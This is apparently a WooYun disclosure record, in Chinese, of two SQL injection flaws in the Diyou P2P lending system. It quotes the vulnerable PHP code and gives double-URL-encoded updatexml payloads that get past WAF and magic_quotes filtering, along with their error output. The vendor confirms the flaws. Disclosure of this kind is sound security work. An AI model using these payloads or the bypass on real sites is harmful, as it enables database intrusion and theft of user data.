漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:帝友P2P借货系统两处处注入(版本限制)
提交时间:2015-10-23 12:39
修复时间:2015-12-17 14:48
公开时间:2015-12-17 14:48
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2015-10-23: 细节已通知厂商并且等待厂商处理中 2015-10-27: 厂商已经确认,细节仅向厂商公开 2015-10-30: 细节向第三方安全合作伙伴开放(绿盟科技 、唐朝安全巡航 ) 2015-12-21: 细节向核心白帽子及相关领域专家公开 2015-12-31: 细节向普通白帽子公开 2016-01-10: 细节向实习白帽子公开 2015-12-17: 细节向公众公开
简要描述: 由于url编码所以可以无视waf和gpc
详细说明: 因为帝友有段代码是这样的
function safe_str($str){ if(!get_magic_quotes_gpc()) { if( is_array($str) ) { foreach($str as $key => $value) { $str[$key] = safe_str($value); } }else{ $str = addslashes($str); } } return $str;
如果没打开gpc就进行转义,但是由于我们这个漏洞会被编码所以不需要考虑gpc的问题 PS:我就本地测试吧,我在本地打开gpc
-------------------------------------------------------- 第一处在modules\member\index.php中
# 检查邮箱是否被注册 elseif ($_U['query_sort'] == 'check_email'){ $result = usersClass::GetUsers(array("email"=>urldecode($_REQUEST['email']))); if ($result == ""){ echo "1"; }else{ echo "0"; } }
urldecode($_REQUEST['email']可以看到这里被解码了 所以可以无视waf/360webscan 跟踪下usersClass::GetUsers
function GetUsers($data = array()){ global $mysql; $_sql = " where 1=1 "; //判断用户id if (IsExiest($data['user_id']) != false){ $_sql .= " and p1.`user_id` = '{$data['user_id']}'"; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false && IsExiest($data['email']) != false){ $_sql .= " and p1.`username` = '{$data['username']}' and p1.`email` = '{$data['email']}' "; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false){ $_sql .= " and p1.`username` = '{$data['username']}'"; } //判断是否搜索邮箱 elseif (IsExiest($data['email']) != false){ $_sql .= " and p1.`email` = '{$data['email']}'"; }
可以看到带入数据库了 我们来测试下 提交:127.0.0.1/?user post:q=check_email&email=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`email` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''
ps:这里只给出简单的语句测试,正常需要把全部字符都编码才可以 第二处在/modules/users/users.inc.php中
//举报 elseif ($_U['query_type'] == "addrebut"){ if (isset($_POST['contents'])){ $data['type_id'] = $_POST['type_id']; $data['contents'] = nl2br($_POST['contents']); $data['rebut_userid'] = $_POST['rebut_userid']; $data['user_id'] = $_G['user_id']; $result = usersClass::AddRebut($data); if ($result==false){ $msg = array($result,"",""); }else{ $msg = array("感谢你的举报,我们将第一时间做出处理","",""); } }else{ $result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username'])));
可以看到$result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username']))); 被url解码了,所以可以(无视waf/360webscan) 提交http://127.0.0.1/?user&q=code/users/addrebut post:username=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`username` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''
漏洞证明: 因为帝友有段代码是这样的
function safe_str($str){ if(!get_magic_quotes_gpc()) { if( is_array($str) ) { foreach($str as $key => $value) { $str[$key] = safe_str($value); } }else{ $str = addslashes($str); } } return $str;
如果没打开gpc就进行转义,但是由于我们这个漏洞会被编码所以不需要考虑gpc的问题 PS:我就本地测试吧,我在本地打开gpc
-------------------------------------------------------- 第一处在modules\member\index.php中
# 检查邮箱是否被注册 elseif ($_U['query_sort'] == 'check_email'){ $result = usersClass::GetUsers(array("email"=>urldecode($_REQUEST['email']))); if ($result == ""){ echo "1"; }else{ echo "0"; } }
urldecode($_REQUEST['email']可以看到这里被解码了 所以可以无视waf/360webscan 跟踪下usersClass::GetUsers
function GetUsers($data = array()){ global $mysql; $_sql = " where 1=1 "; //判断用户id if (IsExiest($data['user_id']) != false){ $_sql .= " and p1.`user_id` = '{$data['user_id']}'"; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false && IsExiest($data['email']) != false){ $_sql .= " and p1.`username` = '{$data['username']}' and p1.`email` = '{$data['email']}' "; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false){ $_sql .= " and p1.`username` = '{$data['username']}'"; } //判断是否搜索邮箱 elseif (IsExiest($data['email']) != false){ $_sql .= " and p1.`email` = '{$data['email']}'"; }
可以看到带入数据库了 我们来测试下 提交:127.0.0.1/?user post:q=check_email&email=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`email` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''
ps:这里只给出简单的语句测试,正常需要把全部字符都编码才可以 第二处在/modules/users/users.inc.php中
//举报 elseif ($_U['query_type'] == "addrebut"){ if (isset($_POST['contents'])){ $data['type_id'] = $_POST['type_id']; $data['contents'] = nl2br($_POST['contents']); $data['rebut_userid'] = $_POST['rebut_userid']; $data['user_id'] = $_G['user_id']; $result = usersClass::AddRebut($data); if ($result==false){ $msg = array($result,"",""); }else{ $msg = array("感谢你的举报,我们将第一时间做出处理","",""); } }else{ $result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username'])));
可以看到$result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username']))); 被url解码了,所以可以(无视waf/360webscan) 提交http://127.0.0.1/?user&q=code/users/addrebut post:username=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527
XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`username` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''
修复方案: 版权声明:转载请注明来源 Xser @乌云
漏洞回应 厂商回应: 危害等级:高
漏洞Rank:10
确认时间:2015-10-27 14:31
厂商回复: 感谢您对漏洞的提交,经技术部门核实,在我司V3老版本的系统上,确实有部分平台存在该漏洞,感谢您的关注,也欢迎您关注我们新版的V4,V5。
最新状态: 暂无
漏洞评价:
评价
2015-10-23 16:37 |
不能忍 ( 实习白帽子 | Rank:80 漏洞数:41 | 要是能重来,我要选李白!)
你关注的大牛 Xser 发表了漏洞 帝友P2P借货系统两处处注入(版本限制)